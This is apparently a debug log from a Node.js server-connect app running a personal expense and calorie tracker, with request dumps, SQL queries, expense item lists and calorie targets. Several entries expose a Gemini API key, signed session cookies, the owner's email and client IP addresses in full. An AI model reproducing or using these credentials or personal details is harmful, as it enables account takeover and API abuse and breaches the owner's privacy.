    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="139", "Not:A-Brand";v="24", "Brave";v="139"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '146.190.241.151',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T04:39:53.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.190.241.151',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="139", "Not:A-Brand";v="24", "Brave";v="139"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '146.190.241.151',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-17T04:50:58.012Z server-connect:router Serving templateView /
2025-12-17T04:50:58.013Z server-connect:app Executing action step identify
2025-12-17T04:50:58.013Z server-connect:app options: { provider: 'security' }
2025-12-17T04:50:58.013Z server-connect:output identity: 1
2025-12-17T04:50:58.013Z server-connect:app Executing action step restrict
2025-12-17T04:50:58.013Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:50:58.015Z server-connect:output restrict: undefined
2025-12-17T04:50:58.015Z server-connect:app Executing action step restrict
2025-12-17T04:50:58.015Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:50:58.016Z server-connect:output restrict: undefined
2025-12-17T04:50:58.016Z server-connect:router Render template layouts/main
2025-12-17T04:50:58.016Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-17T04:50:58.956Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T04:50:58.957Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T04:50:58.957Z server-connect:app Executing action step identify
2025-12-17T04:50:58.957Z server-connect:app options: { provider: 'security' }
2025-12-17T04:50:58.957Z server-connect:output identity: 1
2025-12-17T04:50:58.957Z server-connect:app Executing action step restrict
2025-12-17T04:50:58.957Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:50:58.958Z server-connect:app Executing action step identify
2025-12-17T04:50:58.958Z server-connect:app options: { provider: 'security' }
2025-12-17T04:50:58.958Z server-connect:output identity: 1
2025-12-17T04:50:58.958Z server-connect:app Executing action step restrict
2025-12-17T04:50:58.958Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:50:58.958Z server-connect:output restrict: undefined
2025-12-17T04:50:58.958Z server-connect:app Executing action step single
2025-12-17T04:50:58.958Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T04:50:58.960Z server-connect:output restrict: undefined
2025-12-17T04:50:58.960Z server-connect:app Executing action step select
2025-12-17T04:50:58.960Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T04:50:58.961Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T04:50:58.964Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T04:51:11.613Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T04:51:11.613Z server-connect:app Executing action step identify
2025-12-17T04:51:11.613Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:11.613Z server-connect:output identity: 1
2025-12-17T04:51:11.613Z server-connect:app Executing action step restrict
2025-12-17T04:51:11.613Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:51:11.614Z server-connect:output restrict: undefined
2025-12-17T04:51:11.614Z server-connect:router Render template calorie-tracker
2025-12-17T04:51:11.614Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-17T04:51:11.845Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T04:51:11.845Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T04:51:11.845Z server-connect:app Executing action step identify
2025-12-17T04:51:11.845Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:11.845Z server-connect:output identity: 1
2025-12-17T04:51:11.845Z server-connect:app Executing action step restrict
2025-12-17T04:51:11.845Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:51:11.846Z server-connect:app Executing action step identify
2025-12-17T04:51:11.846Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:11.846Z server-connect:output identity: 1
2025-12-17T04:51:11.846Z server-connect:app Executing action step restrict
2025-12-17T04:51:11.846Z server-connect:app options: { provider: 'security' }
2025-12-17T04:51:11.846Z server-connect:output restrict: undefined
2025-12-17T04:51:11.846Z server-connect:app Executing action step single
2025-12-17T04:51:11.846Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T04:51:11.846Z server-connect:output restrict: undefined
2025-12-17T04:51:11.846Z server-connect:app Executing action step single
2025-12-17T04:51:11.846Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T04:51:11.848Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T04:51:11.848Z server-connect:app Executing action step select
2025-12-17T04:51:11.849Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T04:51:11.849Z server-connect:output summary: {
  summary: {
    rating: 3,
